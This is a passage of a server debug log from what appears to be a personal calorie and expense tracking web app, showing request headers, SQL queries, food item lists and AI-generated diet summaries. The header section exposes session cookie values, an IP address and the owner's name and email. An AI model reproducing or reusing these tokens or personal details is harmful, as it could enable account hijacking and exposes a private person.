    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T13:51:35.637Z server-connect:app Executing action step identify
2025-12-16T13:51:35.637Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:35.638Z server-connect:output identity: 1
2025-12-16T13:51:35.978Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T13:51:35.980Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T13:51:35.980Z server-connect:app Executing action step identify
2025-12-16T13:51:35.980Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:35.981Z server-connect:output identity: 1
2025-12-16T13:51:35.981Z server-connect:app Executing action step restrict
2025-12-16T13:51:35.981Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:51:35.983Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T13:51:35.983Z server-connect:output restrict: undefined
2025-12-16T13:51:35.984Z server-connect:app Executing action step single
2025-12-16T13:51:35.984Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T13:51:35.984Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T13:51:35.984Z server-connect:app Executing action step identify
2025-12-16T13:51:35.984Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:35.985Z server-connect:output identity: 1
2025-12-16T13:51:35.985Z server-connect:app Executing action step restrict
2025-12-16T13:51:35.985Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:51:35.985Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T13:51:35.986Z server-connect:output restrict: undefined
2025-12-16T13:51:35.986Z server-connect:app Executing action step select
2025-12-16T13:51:35.986Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T13:51:35.987Z server-connect:app Executing action step identify
2025-12-16T13:51:35.987Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:35.987Z server-connect:output identity: 1
2025-12-16T13:51:35.987Z server-connect:app Executing action step restrict
2025-12-16T13:51:35.987Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:35.987Z server-connect:output restrict: undefined
2025-12-16T13:51:35.987Z server-connect:app Executing action step single
2025-12-16T13:51:35.987Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T13:51:35.988Z server-connect:app Executing action step identify
2025-12-16T13:51:35.988Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:35.988Z server-connect:output identity: 1
2025-12-16T13:51:35.989Z server-connect:app Executing action step restrict
2025-12-16T13:51:35.989Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:51:35.990Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T13:51:35.991Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: 'The day showed a moderate intake of foods, with a decent effort towards incorporating whole grains and vegetables. Protein sources appear to be present but could be prioritized further to support muscle development. Meal timing seems spread out, which is generally supportive of consistent energy levels. Recovery support is implied by the early morning gym sessions.',
    bad_points: [
      'Protein intake appears to be on the lower side relative to the goal of muscle development.',
      'The inclusion of digestive biscuits and milk sugar coffee might not be optimal for fat loss.',
      'The idli, while a staple, is primarily carbohydrate-heavy.'
    ],
    good_points: [
      'Inclusion of whole wheat roti, providing complex carbohydrates.',
      'Incorporation of a vegetable dish (Aloo Gobi).',
      'Use of unsweetened milk tea and green tea.',
      'Spaced out meal and snack consumption throughout the day.'
    ],
    suggestions: [
      'Aim to include a more significant protein source with main meals, such as lean meats, lentils, or paneer.',
      'Consider swapping the digestive biscuits for a protein-rich snack or a larger portion of makhana.',
      'Be mindful of added sugars in beverages like the milk sugar coffee.',
      'Ensure adequate hydration throughout the day, especially with early morning workouts.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T13:51:35.991Z server-connect:output restrict: undefined
2025-12-16T13:51:35.992Z server-connect:app Executing action step single
2025-12-16T13:51:35.992Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T13:51:35.993Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T13:51:35.993Z server-connect:app Executing action step select
2025-12-16T13:51:35.993Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T13:51:35.995Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  },
  {
    id: 409,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)',
    replacements: 'Whole grain crackers (plain),Apple slices with a sprinkle of cinnamon,Plain roasted chickpeas',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 2,
    skip_reason: 'While providing some energy, digestive biscuits are processed and often contain refined flour, added sugars, and unhealthy fats. For muscle development and managing energy for a desk job, nutrient-dense whole foods that offer more protein and fiber, or slower-digesting complex carbohydrates, would be more beneficial.'
  },
  {
    id: 410,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)',
    replacements: 'Air-popped popcorn (unsalted),Cucumber slices,Celery sticks',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: "Makhana is a healthy, low-fat, and good source of carbohydrates, fiber, and some protein. It's a much better snack choice compared to processed alternatives and provides sustained energy, aligning well with muscle development goals."
  },
  {
    id: 411,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (unsweetened)',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is an excellent beverage, rich in antioxidants and has negligible calories. It supports metabolism and overall health without hindering muscle development goals.'
  },
  {
    id: 412,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 52,
    protein_gm: 1,
    carbs_gm: 13,
    fat_gm: 0,
    quantity: '3 slices (approx 120g, assuming 40g per slice)',
    replacements: 'Berries (strawberries, blueberries - slightly fewer calories per serving, but papaya is already low),Watermelon (similar calorie profile, high water content)',
    created_at: '2025-12-16T08:21:35.000Z',
    skip_level: 1,
    skip_reason: "Papaya is a highly nutritious fruit, excellent for health and muscle development. It's rich in vitamins A and C, folate, fiber, and contains papain, an enzyme that aids digestion, which is beneficial for nutrient absorption after workouts."
  }
]
2025-12-16T13:51:35.995Z server-connect:app Executing action step setvalue
2025-12-16T13:51:35.995Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T13:51:35.995Z server-connect:output var_total: 1365
2025-12-16T13:51:35.995Z server-connect:app Executing action step setvalue
2025-12-16T13:51:35.995Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T13:51:35.995Z server-connect:output var_consumed: 57
2025-12-16T13:51:35.995Z server-connect:app Executing action step setvalue
2025-12-16T13:51:35.995Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T13:51:35.995Z server-connect:output var_deficit: 1035
2025-12-16T13:51:35.995Z server-connect:app Executing action step custom
2025-12-16T13:51:35.995Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T13:51:35.996Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1365',
    surplus_or_deficit: '1035',
    status_flag: 2
  }
]
2025-12-16T13:51:36.538Z server-connect:app Executing action step identify
2025-12-16T13:51:36.538Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:36.538Z server-connect:output identity: 1
2025-12-16T13:51:37.551Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-16T13:51:37.552Z server-connect:app Executing action step identify
2025-12-16T13:51:37.552Z server-connect:app options: { provider: 'security' }
2025-12-16T13:51:37.553Z server-connect:output identity: 1
2025-12-16T13:51:37.553Z server-connect:app Executing action step restrict
2025-12-16T13:51:37.553Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:51:37.553Z server-connect:output restrict: undefined
2025-12-16T13:51:37.553Z server-connect:app Executing action step select
2025-12-16T13:51:37.553Z server-connect:app options: {
